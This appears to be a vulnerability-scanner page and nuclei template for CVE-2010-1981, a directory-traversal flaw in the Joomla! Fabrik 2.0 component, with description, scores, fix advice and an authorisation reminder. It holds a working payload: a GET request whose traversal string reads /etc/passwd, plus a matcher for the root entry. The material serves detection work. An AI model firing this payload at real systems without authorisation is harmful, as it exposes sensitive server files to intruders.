Joomla! Component Fabrik 2.0 - Local File Inclusion

mediumseverity

6.8CVSS score

12%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

A directory traversal vulnerability in the Fabrik (com_fabrik) component 2.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_fabrik&controller=../../../../../../../../../../etc/passwd%00
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2010-1981 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2010-1981

info:
  name: Joomla! Component Fabrik 2.0 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the Fabrik (com_fabrik) component 2.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12087
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1981
    - http://packetstormsecurity.org/1004-exploits/joomlafabrik-lfi.txt
    - http://www.exploit-db.com/exploits/12087
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/57571
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2010-1981
    cwe-id: CWE-22
    epss-score: 0.11959
    epss-percentile: 0.96153
    cpe: cpe:2.3:a:fabrikar:fabrik:2.0:*:*:*:*:joomla\!:*:*
  metadata:
    max-request: 1
    vendor: fabrikar
    product: fabrik
    framework: joomla\!
  tags: cve,cve2010,joomla,lfi,edb,packetstorm,fabrikar,joomla\!,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_fabrik&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from